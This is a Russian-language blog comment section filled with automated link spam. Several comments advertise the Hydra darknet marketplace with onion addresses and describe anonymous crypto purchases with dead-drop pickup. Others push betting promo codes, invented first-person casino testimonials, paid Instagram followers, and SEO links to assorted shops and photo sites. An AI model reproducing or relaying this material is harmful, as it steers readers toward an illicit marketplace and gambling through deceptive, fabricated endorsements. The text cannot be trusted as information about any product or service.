  25. Битки – это инвариативная платежная система, обеспечивающая 100% скрытность покупателю. Нынче особенно быстрый порядок закупиться анонимно в сети интернет – это прибегнуть к биткойну. Есть море групп криптовалют для покупки вещей в глобальной паутине. Часто на открытая ссылка гидры применяют эфириум и биткоин.

    ОтветитьУдалить
  26. Новейший развлекательный проект для отдыха в онлайн паутине – Гидра hydraclubbioknikokex7njhwuahc2l67lfiz7z36md2jvopda7nchid гидра onion

    ОтветитьУдалить
  27. Тебе нет смысла лично видеться с торговцем, любую закупку допустимо оплачивать онлайн. Формирование криптовалюты дало способ всем пользователям портала https://onion.hydraruzxpnew4afc.com совершать безымянные сделки по всей стране. В целях приобретения продуктов на портале ГидраРУ берут виртуальные платежные системы, а также криптографию.

    ОтветитьУдалить
  28. Можно сказать, что огромнейшее количество клиентов разыскивают всякие игровые серверы. На сайте hydra union 2022 вы отыщите множество игр, и даже огромный портал для взаимосвязи с единомышленниками интернет общества. Как правило юзеры в мировой паутине выбирают многопользовательские игры.

    ОтветитьУдалить
  29. Первым делом потребуется выбрать подходящий товар в любом из магазинов HydraЮнион. Переведя деньги человеку предоставят информацию о точке, где потребуется забрать оформленный продукт. По адресу hydraclubbioknikokex7njhwuahc2l67lfiz7z36md2jvopda7nchid ссылка на гидру через тор показан список максимально популярных реализаторов маркета.

    ОтветитьУдалить
  30. Больше всего пользователи в интернет-сети играют в виртуальные игры. На страницах http://xtxzb.com/home.php?mod=space&uid=16858 пользователи отыщут большое количество забав, и даже бесконечный портал для взаимосвязи с единомышленниками интернет общества. Стоит учесть, что приоритетное число гиков посещают специализированные онлайн порталы.

    ОтветитьУдалить
  31. Есть огромнейшее количество порталов, дающих возможность переводить различные суммы абсолютно без личных данных https://fashion-id.ru/forum/user/47429/. большое множество пользователей сталкиваются с проблемой закрытого платежа электронных платежей. Оформить закрытый платеж в интернет сети тяжеловато, вместе с тем, по факту возможно. Работая удаленно, в частности, фрилансером, многочисленные исполнители

    ОтветитьУдалить
  32. Множество грамотных торговцев отпускают свои товары по всей территории РФ. Войти на платформу Гидры просто с использованием какого угодно гаджета, или ноута. Для осуществления контракта клиенту придется зарегистрироваться на официальной площадке. Подтвердить добросовестность магазина запросто по рецензиям на форуме https://onion-magazin.r-hydra.com.

    ОтветитьУдалить
  33. Грамотные работники произведут погрузку/разгрузку в максимально короткие сроки. Поступивший заказ обрабатывается индивидуально. Везугруз перевозка грузов газель цена за км предлагает покупателям самую низкую оплату.

    ОтветитьУдалить
  34. Большой список медицинских кроватей в сертифицированном интернет-магазине Мед Спрос больничные медицинские кровати

    ОтветитьУдалить
  35. Онлайн-магазин Sunny Toy RU предоставляет для организации детского досуга https://www.sunnytoy.ru/shop/77/ по самым актуальной цене от поставщика. Фундаментальные конструкции обеспечат безопасность малышей при играх. Для осуществления развлечения малышей собирают игровые комплексы для детей. Ребенок не сможет обыкновенно находиться на месте без активности.

    ОтветитьУдалить
  36. Всякие темы изображений, и даже крупная и сочная печать создадут в вашем помещении особенный стиль. Типография Dasart считается крупным в столице реализатором репродукций подлинных холстов и постеров для дизайна офисного помещения. В базе фирмы можно без труда подобрать необходимую себе картину, в частности, https://dasart.ru/catalog/postery/kollazhi.

    ОтветитьУдалить
  37. Большинство конструктива http://www.eroshenkov.ru/forum/view_profile.php?UID=169427 изготовлена из натуральных материалов, а железные детали покрыты резиной. Каждая деталь уличного комплекса состоят лишь из безопасных материалов. Элементы площадки для игр выполнены так, что не могут подвергнуть опасности ребенка. За счет развлекательной площадки малыши обеспечат для себя игру на длительный период времени. Основные детали игровой конструкции являются наиболее безопасными для малышей.

    ОтветитьУдалить
  38. Особенной известностью с недавних пор получили раскадровки из культовых или нынешних кинокартин. Сегодняшнее искусство в виде плакатов купить картину стиль способно добавить серьезного разнообразия в нашу стандартную жизнь. Холсты часто делают в рамках, а плакаты просто наклеивают без окантовки. Оригинальное изображение станет радовать взор изо дня в день, а если надоест – очень просто поменять, заказав новенький вариант.

    ОтветитьУдалить
  39. Нужное число парфюмерии элементарно разместить в игрушечном туалетном столике ДримТойз. Каждая девчонка принимает себя настоящей модницей. Полноценный игровой комплект целиком копирует настоящий туалетный стол. Для выполнения макияжа детям нужен детский туалетный столик деревянный.

    ОтветитьУдалить
  40. Высококачественная древесина и не вызывающая аллергию обшивка – безопасность здоровья детей. Приобретайте оригинальные лошадки-качалки лишь только в лицензионных сайтах Wildberries. Отличным решением для самых маленьких станет http://uuo.vervil.ru/index.php?subaction=userinfo&user=avyvux торговой марки DreamToys. Игрушка подойдет на текущий вес и рост малыша.

    ОтветитьУдалить
  41. В миниатюрном наборе для кухни лежат все нужные для развлечения компоненты. Хороший вариант http://nes-apk.com/index.php?subaction=userinfo&user=yjexyx понравится девчонкам разнообразного возраста. Мечты для готовки возможно реализовать при помощи миниатюрной кухни Дрим Тойз. Кукольная кухня даст возможность девочкам лично выполнять ежедневные действия взрослых, что они наблюдают.

    ОтветитьУдалить
  42. Горы неповторимых прохождений благодаря круговому обзору в шлеме, обзор есть возможность посмотреть тут. Интерактивная реальность при использовании VR гаджета предлагает неймеру свежие возможности. Свежий список виртуальных шлемов также размещен на портале Геймер Плюс. Подключить виртуальный шлем к персональному компьютеру очень легко.

    ОтветитьУдалить
  43. Ответственный портал по разработке небольших сайтов и обрезки ссылки – только Лиопал! Громаднейший перечень услуг поможет всякому клиенту http://msk-service.spb.ru/index.php?subaction=userinfo&user=uqywuti получить следующий уровень в теме интернет продаж. Значительная часть функционирования сайта Лиопал представлено совершенно бесплатно.

    ОтветитьУдалить
  44. Многие пользователи, накручивающие Инстаграм на платных сервисах, сталкиваются с тем, что со временем часть подписчиков пропадает. Они либо списываются социальной сетью, либо сами отписываются. Сайт Krutiminst.ru гарантируют качество - все подписчики реальные люди, и если подписчики ушли, то Krutiminst вернет потраченные деньги - подписчики в инстаграме

    ОтветитьУдалить
  45. Качества ламинированной фанеры ФОФ подшить фанерой потолок

    ОтветитьУдалить
  46. Распространено множество типов http://tellmy.ru/index.php?subaction=userinfo&user=ufunac смоляно фенолформальдегидной фанеры, каждая из которых характеризуется отдельными показателями. Самая важная область использования - строительство кровли, бытовок и времянок, сараев внешняя облицовка фасадов объектов. Различные подвиды поставляемой фанеры как нельзя лучше противостоят жидкости, дождю и снегу, наряду с этим листы остаются достаточно жесткими.

    ОтветитьУдалить
  47. Hera Hilmar смотреть фото cojo.ru

    ОтветитьУдалить
  48. Екатерина Андреева в хорошем качестве https://cojo.ru/znamenitosti/ekaterina-andreeva-44-foto/

    ОтветитьУдалить
  49. Трофимов Сергей Певец в хорошем качестве https://cojo.ru/znamenitosti/trofimov-sergey-pevets-43-foto/

    ОтветитьУдалить
  50. Орехово каштановый цвет волос фотографии https://cojo.ru/pricheski-i-strizhki/orehovo-kashtanovyy-tsvet-volos-21-foto/

    ОтветитьУдалить
  51. Картинки европа милые картинки https://cojo.ru/kartinki/kartinki-evropa-64-foto/

    ОтветитьУдалить
  52. Детский фон для портфолио подборка https://cojo.ru/fony/detskiy-fon-dlya-portfolio-57-foto/

    ОтветитьУдалить
  53. Air Jordan 1 Off White Wallpapers WallpapersHigh.com high quality 100% free https://wallpapershigh.com/air-jordan-1-off-white

    ОтветитьУдалить
  54. Beast Cool Football Wallpapers WallpapersHigh.com Full Hd fast and free https://wallpapershigh.com/beast-cool-football

    ОтветитьУдалить
  55. 2pac PC Wallpapers WallpapersHigh.com UHD for free https://wallpapershigh.com/2pac-pc

    ОтветитьУдалить
  56. Monster High Backgrounds wallpapershigh.com HIGH QUALITY absolutely free https://wallpapershigh.com/monster-high-backgrounds

    ОтветитьУдалить
  57. 3D Home Depot Wallpapers WallpapersHigh.com high definition for free https://wallpapershigh.com/3d-home-depot

    ОтветитьУдалить
  58. High Resolution Toy Story Backgrounds WallpapersHigh.com Full HD 100% free https://wallpapershigh.com/high-resolution-toy-story-backgrounds

    ОтветитьУдалить
  59. 90s Hip Hop Wallpapers WallpapersHigh.com Fullhd for free https://wallpapershigh.com/90s-hip-hop

    ОтветитьУдалить
  60. Anime Screensavers Wallpapers WallpapersHigh.com high quality 100% free https://wallpapershigh.com/anime-screensavers

    ОтветитьУдалить
  61. Badass Alabama Football Wallpapers wallpapershigh.com high resolution fast and free https://wallpapershigh.com/badass-alabama-football

    ОтветитьУдалить
  62. Aesthetic Camera Wallpapers WallpapersHigh.com FULL HD 100% free https://wallpapershigh.com/aesthetic-camera

    ОтветитьУдалить
  63. Beautiful Screen Wallpapers wallpapershigh.com HD absolutely free https://wallpapershigh.com/beautiful-screen

    ОтветитьУдалить
  64. Качественный ламинат бывает как дерево https://fanwood.by/shop/dsp-dvp-i-mdf/, в качестве натурального камня или керамогранитной плитки. Принципиальным отличием полимерного покрытия представляется не исключительно хорошее сопротивление пару, а также возможность создания персональной расцветки. Частенько наблюдается ламинированная поверхность фанеры специфической, необычной структуры и изображения.

    ОтветитьУдалить
  65. Фанеру влагонепроницаемую используют не только в кораблестроении. Хозяйственное использование листов крепкого и легкообрабатываемого материала https://fanwood.by/ достаточно широко. При производстве шкафов или внутренней декорации помещений, для создания необычных объектов декора, для покрытия крытых тентов грузовиков - это всего лишь относительный список использования общепринятого водонепроницаемого материала.

    ОтветитьУдалить
  66. Стоимость текущего материала как правило небольшая https://fanwood.by/shop/fof-fanera/. Во время применения химической смолы плиты фанеры не деформируются под действием неблагоприятных погодных условий или сильной влажности. В результате перпендикулярно соединенных волокон влагостойкий вид фанерной плиты не уступает по крепости настоящей древесине.

    ОтветитьУдалить
  67. Повседневное применение листов крепкого и легкообрабатываемого материала https://fanwood.by/shop/fsf-fanera/ достаточно огромно. Фанерную плиту влагонепроницаемую применяют не исключительно в морском транспорте. При производстве мебели или внутренней облицовки помещений, для выпуска специфических предметов декора, для облицовки крытых тентов грузовиков - это только малый перечень использования общепризнанного водоустойчивого материала.

    ОтветитьУдалить
  68. Текущая вариация телефона http://gti-club.ru/forum/member.php?u=118369 содержит многообразное число удобных поправок. Актуальные инструменты, интегрированные в Айфон, помогут заглянуть в фантастическое будущее. С последним изданием Айфона четырнадцать фирма Apple внесла большое количество существенных настроек. Новшества сделали недавний умное устройство быстрее, чем другие комплектации.

    ОтветитьУдалить
  69. Действительно передовой смарт айфон 14 плюс с двумя симками темная ночь 256 гб уже в продаже во всех регионах России. С выходом новой модели любому доступен действительно бойкий интернет, великолепная камера и высокая продуктивность Айфона 14. Новая комплектация Айфон 14 предоставляет дополнительные функции.

    ОтветитьУдалить
  70. Бесплатный просмотр сериалов на сайте «КиноНавигатор» аниме фильмы где есть смерть матери https://kinonavigator.ru/catalog/films/films_anime-t_smert_materi

    ОтветитьУдалить
  71. В онлайн-кинотеатре KinoNavigator есть действительно большой список мультфильмов в русской озвучке. Кинотеатр Kino Navigator доступен на всей территории РФ, потребуется только скоростной инет. Наконец-то есть возможность весь день просматривать отличные кинофильмы без рекламы. Смотреть мультфильмы бесплатно https://smf.sos-dan.ru/index.php?topic=204541.new на сайте «Кино Навигатор» – действительно простой шанс отвлечься под конец рабочего дня.

    ОтветитьУдалить
  72. Iwan Rheon 48 лучших фото cojo.ru

    ОтветитьУдалить
  73. Вне зависимости от того, требуется ли вам сверхмощный гаджет, новый телевизор или интеллектуальные умные часы, вы всегда подберете себе универсальное решение в нашей фирме.Мы непрерывно расширяем ассортимент, для того, чтобы воплотить в жизнь абсолютно все потребности и предпочтения всех наших заказчиков. Купить продукцию предприятия Samsung в сети востребованных магазинов online телефоны samsung galaxy z Нижний Новгород - это значит купить качественное и прочное устройство, которое станет вашим любимым, идеальным ассистентом в домашних условиях.

    ОтветитьУдалить
  74. Система бонусов и поощрений в БК 1хбет значительно увеличивает привлекательность компании в глазах игроков. Очень выгодные предложения доступны и новичкам, так и гостям, уже имеющим опыт работы на платформе. Среди внушительного ассортимента бонусной программы очень очень просто потеряться. Каждый промокод 1хбет гарантирует право на определенные преференции - действующий промокод 1xbet.

    ОтветитьУдалить
  75. БК MelBet пользуется большой популярностью сегодня на отечественном рынке: -Деятельность фирмы лицензирована; - Пользователям предоставлен впечатляющий список ставок - в формате live и предматчевых; - Тут нет задержек с выплатами. Линия ставок неописуемо презентабельна. Для того, чтобы получить прибыльный бонус на совершение ставок, требуется всего лишь использовать промокод MelBet RS777. Получить промокод вы можете на ставку или на депозит. Каждое предложение имеет свои особенности отыгрыша - промокод для MelBet.

    ОтветитьУдалить
  76. В 2023 году промокод 1хбет предоставляющий наибольший бонус - 1XFREE777. Бонусные деньги начисляются автоматом на отдельный счет и их сразу же вы можете использовать для игры - промокод 1 икс бет.

    ОтветитьУдалить
  77. Лера Козлова (32 лучших фото) смотреть фото https://cojo.ru/znamenitosti/lera-kozlova-32-foto/

    ОтветитьУдалить
  78. Вы можете выбрать продукт, тот что вам необходим, заказать и далее оплатить его, не растрачивая лишнего времени. Мы ценим ваше удобство и поэтому стараемся организовать закупку простой и приятной.К тому же, мы знаем, собственно что ваше время ценно, по этой причине все наши интернет-магазины наушники samsung galaxy buds 2 pro Пермь гарантируют комфортное и быстрое документальное оформление покупки.

    ОтветитьУдалить
  79. В случае, если вы желаете отыскать авторитетный и безопасный источник для приобретения современной техники, тогда сеть фирменных онлайн магазинов Samsung http://bbs.ou-lei.com/home.php?mod=space&uid=353410 лучший выбор! Samsungstore.ru может предложить большой выбор продукции Samsung, включая телевизоры, умные часы, ноутбуки, смартфоны, бытовую технику планшеты, и прочее. В данный момент, наши торговые центры делают прекрасное предложение, а именно инновационные решения в интересах вашей семьи, работы и конечно энергичного образа жизни.

    ОтветитьУдалить
  80. Красивые открытки милые картинки https://cojo.ru/kartinki/krasivye-otkrytki-92-foto/

    ОтветитьУдалить
  81. Покраска волос луковой шелухой в хорошем качестве https://cojo.ru/pricheski-i-strizhki/pokraska-volos-lukovoy-sheluhoy-32-foto/

    ОтветитьУдалить
  82. Красивые длинные волосы (65 фото) - лучшие фото идеи с названиями классные фото https://fotoslava.ru/krasivye-dlinnye-volosy

    ОтветитьУдалить
  83. Короткие стрижки виктории бекхэм (42 фото) классные фото https://byry.ru/korotkie-strizhki-viktorii-bekhem/

    ОтветитьУдалить
  84. Элина Быстрицкая классные фото https://fotoslava.ru/elina-bystritskaya

    ОтветитьУдалить
  85. Стопы девушек милые фото https://fotoslava.ru/stopy-devushek

    ОтветитьУдалить
  86. Красивые аватарки природа милые картинки https://fotoslava.ru/krasivye-avatarki-priroda

    ОтветитьУдалить
  87. Спиреи в ландшафтном дизайне участков (49 фото) HD https://fotoslava.ru/spirei-v-landshaftnom-dizajne-uchastkov-49-foto

    ОтветитьУдалить
  88. Привет! Я недавно наткнулась на такую красивую ажурную жилетку, вязаную спицами. Она выглядит просто невероятно элегантно! Эта модель точно привлечет внимание и станет отличным дополнением к твоему гардеробу. Я очень впечатлена и решила поделиться этой находкой с тобой. Не упусти возможность взглянуть на галерею картинок и фото с этой прекрасной жилеткой по ссылке https://fotofakt.ru/yubka-s-razrezom-sboku-vykroyka. Думаю, тебе понравится идея и, возможно, ты захочешь попробовать связать такую жилетку своими руками. Так что не откладывай, пройди по ссылке и насладись всей красотой этой модели! ��

    ОтветитьУдалить
  89. Чё, братаны, вы слышали о военных кораблях фэнтези? Они, аж, фиксируют взоры! Если ты в теме, то я рекомендую тебе зайти на сайт Креофото, там можно найти самые классные фоточки этих кораблей. Цепляют на раз! Вот ссылочка https://creofoto.ru/voennye-korabli-fentezi для тех, кто хочет полюбоваться на них и утонуть в фэнтезийном мире. Ваще бальзам на душу, я тебе говорю!

    ОтветитьУдалить
  90. Посмотри, чувак, эти офигительные картинки с пейзажами карандашом природа. Они просто офигенные, смотришь и завораживаешься. Видишь леса, горы, реки, всё такое красивое и живое. На сайте https://risuemsami.ru/peyzazhi-karandashom-priroda/ есть целая куча таких картинок. Заходи и смотри, увидишь, как круто рисуют природу карандашом. Это вещь, поверь мне!

    ОтветитьУдалить
  91. Вау, а вы видели эти прикольные маленькие срисовки по игре Undertale? Они просто супер! Можно посмотреть, как художник создает их этап за этапом. Я нашел крутой сайт, где их много - https://risuemsami.ru/prikolnye-malenkie-srisovki-undertale-poetapno/. Обязательно загляни, там точно есть что-то, что тебе понравится!

    ОтветитьУдалить
  92. Привет! Я хотел бы рассказать вам о своем успешном опыте игры в интернет-казино Вавада. Клуб Вавада мобильная версия - это настоящая находка для любителей азартных игр в любом месте и в любое время. Я просто с удовольствием играю на своем смартфоне, когда нахожусь в дороге или просто отдыхаю на диване. Казино Вавада предлагает огромный выбор слотов, щедрые бонусы и простую регистрацию. Что меня порадовало еще больше - это быстрые выплаты. Когда я выиграл крупную сумму, деньги мне поступили на счет мгновенно. Интерфейс казино очень удобный, все понятно и интуитивно понятно. К тому же, при регистрации я получил приветственный бонус и фриспины, которые помогли мне увеличить свои шансы на победу. Если вы ищете качественное и надежное онлайн-казино, то я настоятельно рекомендую попробовать клуб Вавада мобильная версия. Удачи в игре! Подробнее о казино Вы можете узнать по ссылке https://vavadax4.site/.

    ОтветитьУдалить
  93. Привет, друзья! Если кто-то из вас увлекается красивым письмом, то обязательно загляните на сайт https://cultmir.ru/kalligrafiya. Там вы найдете кучу классных идей и фоточек по каллиграфии. Можете посмотреть и подсмотреть, какие шрифты круто сочетаются, как правильно писать каждую букву и что еще можно вытворять с карандашом или пером в руках. Это так вдохновляет, что сразу самому захочется попробовать и даже несколько листочков заполнить. Заводите инструменты поглубже и вперед, друзья, творить красоту!

    ОтветитьУдалить
  94. Не могу больше скрывать! Сегодня нашел лютую подборку демотиваторов на тему весны! Че-то я и не думал, что вот так вот можно демотивироваться на самоцвете природы, но эти приколюшки меня уболтали! Приглядывай! �� Просто забей в интернете Демотиватор весна, а еще круть ссылку https://cvam.ru/vesna не забудь проверить - там про весну все, что надо! ����

    ОтветитьУдалить
  95. Правильно подобранные белые пряди спереди могут придать вашей прическе стильный и модный вид. Они идеально сочетаются с различными цветами волос и позволяют выделиться из толпы. Если вы хотите узнать больше об этой интересной тенденции и посмотреть примеры, рекомендую вам посетить сайт cojo.ru, где вы найдете 61 фотографию различных вариаций белых прядей спереди. Просто перейдите по ссылке https://cojo.ru/?p=593182 и получите вдохновение для своей новой прически.

    ОтветитьУдалить
  96. Привет, я Иван Иванов, и я хочу рассказать о своем успешном опыте игры в интернет-казино Вавада! Нужно было всего лишь сделать вавада вход vavadac, и я уже мог наслаждаться разнообразием увлекательных слотов и выигрывать крупные суммы! Бонусы и фриспины, предоставленные Вавада, делают игру еще более захватывающей. Удобный интерфейс и простая регистрация на сайте позволяют быстро начать игру, а быстрые выплаты гарантируют получение выигрыша в кратчайшие сроки. Если вы рискнете попробовать свою удачу в Вавада, вы точно не пожалеете! Посетите https://vavadaa.fun/ и окунитесь в мир азартных игр уже сегодня!

    ОтветитьУдалить
  97. Я, Иван Петров, хотел бы поделиться своим положительным опытом игры в интернет-казино Вавада. Очень доволен, что открыл для себя вавада мобильная версия vafaoff. Этот сайт предоставляет удобный интерфейс, который позволяет легко и быстро находить любимые слоты и играть в них. Бонусы и приветственные бонусы на Вавада также порадовали - получил крупную сумму на старте игры. Особенно понравились фриспины, которые дают возможность выиграть еще больше. Все выплаты происходят быстро и без проблем. Регистрация была простой и занимает всего несколько минут. Рекомендую всем попробовать свою удачу на Вавада, ведь это проверенное и надежное казино! Обязательно пробуйте vavada мобильная версия vafaoff по ссылке вавада мобильная версия vafaoff.

    ОтветитьУдалить
  98. В братана Андрюхи скоро днюха! Ну, это просто кайф! Надо бы ему шикарную открытку с днем рождения выбрать! Только чтобы глаз радовался открывать! И нашел я такую офигенную подборку на сайте Поздравления.ру! Там и красиво, и поздравленческие тексты классные! А особенно понравилась одна открытка с названием Поздравительная открытка с днем рождения Андрюха красивые. Там сверкают фейерверки, мишки и цветы. Капец ярко! Уверен, что Андрюха будет чуть не плакать от такой святотатственной красоты! Так что, рекомендую тебе посмотреть эту открытку. Она прямо здесь Поздравительная открытка с днем рождения Андрюха красивые. Вот прямо ссылочка, кликай и выбирай открытку на свой вкус! Кайфуй!

    ОтветитьУдалить
  99. Эй, всем лежачим в койках! Хочу поделиться с вами красивыми картинками спокойной ночи. Это просто расслабон, заряженный позитивом! Цвета яркие, нарисовано офигенно. Особенно понравилось солнышко на одной из картинок. Вот оно, дует своими лучами, аж жизненная энергия от него прет! Если она тебя зацепит, то советую заглянуть на сайт https://cvam.ru/solnyshko-3. Там еще больше классных картинок с солнышком, чтобы зарядиться силой перед сном. Так что покоряйте ночь с весьма солнечными снимками, братцы! Дарю вам летнее настроение и самые позитивные пожелания на ночь. Картиночкам верить можно!

    ОтветитьУдалить
  100. Привет, всем! Хочу поделиться с вами интересной информацией об Аристархе Венесе. Если вы еще не знакомы с этим талантливым человеком, то советую вам обратить внимание на его работы. Аристарх Венес – известный фотограф, чьи работы вызывают восхищение и восторг. Он способен зафиксировать моменты, которые оставят вас безмолвными. Каждая его фотография – настоящее произведение искусства. Если вас заинтересовала его творческая деятельность, вам обязательно стоит посмотреть больше фото Аристарха Венеса, и вы это можете сделать, перейдя по ссылке аристарх венес. Там вы увидите много удивительных снимков, которые покажут вам, насколько талантлив этот фотограф. Уверен, что вам понравится его работа так же, как и мне. Приятного просмотра!

    ОтветитьУдалить
  101. Привет, друзья! Сегодня хочу поделиться с вами интересной темой - говядина Халяль. Многие из нас, возможно, слышали об этой особой категории мяса. Говядина Халяль - это мясо, приготовленное по правилам и нормам, установленным исламом. Оно должно быть произведено из животных, которые были зарезаны специально обученными искусными людьми в соответствии с религиозными требованиями. В результате этого процесса получается натуральное, свежее и качественное мясо. Я нашел отличный ресурс, где можно узнать больше о говядине Халяль и даже посмотреть фотографии. Рекомендую вам посетить сайт и посмотреть: говядина халяль. Там вы найдете полезную информацию и сможете более глубоко понять, что такое говядина Халяль и как она отличается от обычной говядины. Уверен, что этот ресурс поможет вам расширить свои знания и станет полезным источником информации. Буду рад, если поделитесь своими отзывами и впечатлениями после посещения сайта. Всем приятного аппетита и интересного чтения!

    ОтветитьУдалить
  102. Привет! Представляешь, сегодня наткнулся на такие красивые гифки с розами, что просто не могу не посоветовать тебе их посмотреть! Вот ссылка на сайт, где я нашел эту красоту - красивой женщине розы гифки. Там ты найдешь множество удивительных анимаций с розами, которые, уверяю, тебя точно порадуют! Я сам был впечатлен, насколько же эти гифки выглядят реалистично и шикарно. Так что не упусти возможность взглянуть на эту красоту!

    ОтветитьУдалить